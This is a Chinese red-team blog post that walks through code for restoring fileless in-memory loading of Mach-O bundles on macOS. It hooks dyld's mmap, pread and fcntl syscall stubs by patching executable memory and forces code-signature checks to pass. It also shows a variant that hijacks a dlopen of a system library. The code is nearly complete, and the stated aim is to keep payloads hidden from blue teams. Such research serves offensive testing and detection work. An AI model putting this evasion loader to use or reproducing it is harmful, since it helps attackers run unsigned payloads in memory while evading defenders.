之前我们一直在使用由dyld及其NSCreateObjectFileImageFromMemory/NSLinkModule API方法所提供的Mach-O捆绑包的内存加载方式。虽然这些方法我们今天仍然还在使用，但是这个工具较以往有一个很大的区别......现在很多模块都被持久化到了硬盘上。

@roguesys 在 2022 年 2 月发布公告称，dyld 的代码已经被更新，传递给 NSLinkModule 的任何模块都将会被写入到一个临时的位置中。

作为一个红队队员，这对于我们的渗透工作并没有好处。毕竟，NSLinkModule一个非常有用的api函数，这个函数可以使得我们的有效载荷不被蓝队轻易的发现。

因此，在这篇文章中，我们来仔细看看dyld的变化，并看看我们能做些什么来恢复这一功能，让我们的工具在内存中多保存一段时间，防止被蓝队过早的发现。

NSLinkModule有何与众不同

由于dyld是开源的，我们可以深入研究一下经常使用的NSLinkModule方法的工作原理。

该函数的签名为：

NSModule APIs::NSLinkModule(NSObjectFileImage ofi, const char* moduleName, uint32_t options) { ... }

该函数的第一个参数是ofi，它是用NSCreateObjectFileImageFromMemory创建的，它指向了存放Mach-O包的内存。然后我们还有moduleName参数和options参数，前者只是用于记录语句，后者一般是被忽略不用的。

通过查看代码发现，最新版本的NSLinkModule，会将osi所指向的内存写入磁盘。

if ( ofi->memSource !=nullptr){...char tempFileName[PATH_MAX];constchar* tmpDir =this->libSystemHelpers->getenv("TMPDIR");if((tmpDir !=nullptr)&&(strlen(tmpDir)>2)){ strlcpy(tempFileName, tmpDir, PATH_MAX);if( tmpDir[strlen(tmpDir)-1]!='/') strlcat(tempFileName,"/", PATH_MAX);}else strlcpy(tempFileName,"/tmp/", PATH_MAX); strlcat(tempFileName,"NSCreateObjectFileImageFromMemory-XXXXXXXX", PATH_MAX);int fd =this->libSystemHelpers->mkstemp(tempFileName);if( fd !=-1){ssize_t writtenSize =::pwrite(fd, ofi->memSource, ofi->memLength,0);}...}

通过分析可以发现，代码并不是真正的发生了 "新 "的变化。这段代码一直存在于dyld3中，只不过是现在macOS也决定使用这段代码路径。所以我们知道内存会被写入磁盘，并且路径会被传递给dlopen_from。

...ofi->handle = dlopen_from(ofi->path, openMode, callerAddress);...

因此，从本质上讲，这也就使得NSLinkModule成为了dlopen的一个封装器。

那我们能否恢复dyld之前的内存加载特性呢？

我们知道磁盘 I/O 是被用来持久化和读取我们的代码的......那么，如果我们在调用之前拦截它们，会发生什么呢？

使用dyld进行hook

为了拦截 I/O 调用，我们首先需要了解如何对dyld进行hook。

我们研究看看dyld是如何处理mmap调用的。启动 Hopper 并加载 /usr/lib/dyld， 显示mmap 是由 dyld 使用 svc 调用的。

img

知道了这一点，如果我们找到内存中存放这段代码的位置，我们就应该能够覆盖服务调用并将其重定向到我们控制的地方。但我们该用什么来覆盖它呢？用下面的这段代码就可以。

ldr x8, _valuebr x8_value: .ascii "\x41\x42\x43\x44\x45\x46\x47\x48" ; Update to our br location

在我们进行操作之前，首先我们找到进程地址空间中dyld的基址。这是通过调用task_info完成的，我们可以传入TASK_DYLD_INFO来检索dyld的基址信息。

void *getDyldBase(void){struct task_dyld_info dyld_info;mach_vm_address_t image_infos;struct dyld_all_image_infos *infos;mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;kern_return_t ret; ret = task_info(mach_task_self_, TASK_DYLD_INFO,(task_info_t)&dyld_info,&count);if(ret != KERN_SUCCESS){returnNULL;} image_infos = dyld_info.all_image_info_addr; infos =(struct dyld_all_image_infos *)image_infos;return infos->dyldImageLoadAddress;}

只要我们有了dyld的基址，我们就可以为mmap服务的调用查找签名。

bool searchAndPatch(char *base, char *signature, int length, void *target){char*patchAddr =NULL;kern_return_t kret;for(int i=0; i <0x100000; i++){if(base[i]== signature[0]&&memcmp(base+i, signature, length)==0){ patchAddr = base + i;break;}} ...

当我们找到一个匹配的签名时，我们可以在我们的ARM64的Stub中打补丁。由于我们要处理的是内存的 "Read-Exec"页，我们需要用以下方法来更新内存保护。

kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_WRITE | VM_PROT_COPY);if (kret != KERN_SUCCESS) { return FALSE;}

注意这里的VM_PROT, 这个是必须要设定的，因为该内存页在其最大内存保护中没有设置写权限。

设置了写权限后，我们可以用我们的补丁覆盖内存，然后将保护重新设定为Read-Exec。

// Copy our pathmemcpy(patchAddr, patch,sizeof(patch));// Set the br address for our hook call*(void**)((char*)patchAddr +16)= target;// Return exec permissionkret = vm_protect(mach_task_self(),(vm_address_t)patchAddr,sizeof(patch),false, PROT_READ | PROT_EXEC);if(kret != KERN_SUCCESS){return FALSE;}

现在我们需要思考一下，当我们在试图修改可执行的内存页时，在M1 macs上会发生什么。

由于macOS要确保每一页可执行内存都有签名，这也就意味着我们需要一个com.apple.security.cs.allow-unsigned-executable-memory的权限（com.apple.security.cs.disable-executable-page-protection也适用）来运行我们的代码。

那么，既然如此，我们该如何处理我们的hook程序呢？

API模拟调用

有了所有组件的映射，我们现在就可以开始模拟API的调用。根据dyld的代码，我们需要对mmap、pread、fcntl的内容进行处理。

如果我们这样做是正确的，我们可以在内存指向空白Mach-O文件的情况下对NSLinkModule进行调用，而该文件又将会被写入磁盘。然后当dyld正在从磁盘上读入文件时，我们就可以用内存中的副本动态地交换内容。

首先研究mmap。我们首先检查fd是否指向一个包含NSCreateObjectFileImageFromMemory的文件名，这是dyld写入磁盘的临时文件。

如果是这样的话，我们就不需要从磁盘上映射内存了，只要简单地分配一个新的内存区域，然后复制到我们构造的Mach-O包上。

#define FILENAME_SEARCH "NSCreateObjectFileImageFromMemory-"constvoid*hookedMmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset){char*alloc;char filePath[PATH_MAX];int newFlags;memset(filePath,0,sizeof(filePath));// Check if the file is our "in-memory" fileif(fcntl(fd, F_GETPATH, filePath)!=-1){if(strstr(filePath, FILENAME_SEARCH)>0){ newFlags = MAP_PRIVATE | MAP_ANONYMOUS;if(addr !=0){ newFlags |= MAP_FIXED;} alloc = mmap(addr, len, PROT_READ | PROT_WRITE, newFlags,0,0);memcpy(alloc, memoryLoadedFile+offset, len); vm_protect(mach_task_self(),(vm_address_t)alloc, len,false, prot);return alloc;}}// If for another file, we pass throughreturn mmap(addr, len, prot, flags, fd, offset);}

接下来是pread参数，它会被dyld在加载时用来多次验证Mach-O的UUID。

ssize_t hookedPread(int fd, void *buf, size_t nbyte, int offset){char filePath[PATH_MAX];memset(filePath,0,sizeof(filePath));// Check if the file is our "in-memory" fileif(fcntl(fd, F_GETPATH, filePath)!=-1){if(strstr(filePath, FILENAME_SEARCH)>0){memcpy(buf, memoryLoadedFile+offset, nbyte);return nbyte;}}// If for another file, we pass throughreturn pread(fd, buf, nbyte, offset);}

最后我们处理fcntl。它会在很多地方被调用，可以在任何可能会失败的mmap调用之前验证编码的要求。

由于我们已经完成了hook，我们可以使dyld正常运行来绕过这些检查。

int hookedFcntl(int fildes, int cmd, void* param){char filePath[PATH_MAX];memset(filePath,0,sizeof(filePath));// Check if the file is our "in-memory" fileif(fcntl(fildes, F_GETPATH, filePath)!=-1){if(strstr(filePath, FILENAME_SEARCH)>0){if(cmd == F_ADDFILESIGS_RETURN){fsignatures_t*fsig =(fsignatures_t*)param;// called to check that cert covers file.. so we'll make it cover everything ;) fsig->fs_file_start =0xFFFFFFFF;return0;}// Signature sanity check by dyldif(cmd == F_CHECK_LV){// Just say everything is finereturn0;}}}return fcntl(fildes, cmd, param);}

有了以上这些，然后我们可以把这一切组合起来。

int main(int argc, const char * argv[], const char * argv2[], const char * argv3[]){@autoreleasepool{char*dyldBase;int fd;int size;void(*function)(void);NSObjectFileImage fileImage;// Read in our dyld we want to memory load... obviously swap this in prod with memory, otherwise we've just recreated dlopen :/ size = readFile("/tmp/loadme",&memoryLoadedFile); dyldBase = getDyldBase(); searchAndPatch(dyldBase, mmapSig,sizeof(mmapSig), hookedMmap); searchAndPatch(dyldBase, preadSig,sizeof(preadSig), hookedPread); searchAndPatch(dyldBase, fcntlSig,sizeof(fcntlSig), hookedFcntl);// Set up blank content, same size as our Mach-Ochar*fakeImage =(char*)malloc(size);memset(fakeImage,0x41, size);// Small hack to get around NSCreateObjectFileImageFromMemory validating our fake image fileImage =(NSObjectFileImage)malloc(1024);*(void**)(((char*)fileImage+0x8))= fakeImage;*(void**)(((char*)fileImage+0x10))= size;void*module =NSLinkModule(fileImage,"test", NSLINKMODULE_OPTION_PRIVATE);void*symbol =NSLookupSymbolInModule(module,"runme"); function =NSAddressOfSymbol(symbol); function();}}

当我们执行时，可以看到在硬盘上就会创建我们的虚假文件。

但通过在运行时的交换内容来看，我们发现我们的内存模块加载完全正常。

其他

所以，最后一个阶段让我感到很困惑......我们使用了NSLinkModule，它生成了一个临时文件，并且用垃圾字符对它进行了填充。如果我们忽略这一点，而只是使用操作系统中的任意一个库来调用dlopen呢？这样应该就可以避免我们向磁盘中写入任何文件。

事实证明，这个想法是正确的。比如：

void *a = dlopen("/usr/lib/libffi-trampolines.dylib", RTLD_NOW);function = dlsym(a, "runme");function();

而不是只是搜索NSCreateObjectFileImageFromMemory，我们只是在搜索任何加载libffi-trampolines.dylib的引用，并通过我们的代码进行了替换，我们得到了同样的结果。

这里有一些注意事项。首先，我们需要确保库比我们自己要加载的模块大，否则当涉及到pread和mmap时，系统最终会截断我们的Mach-O。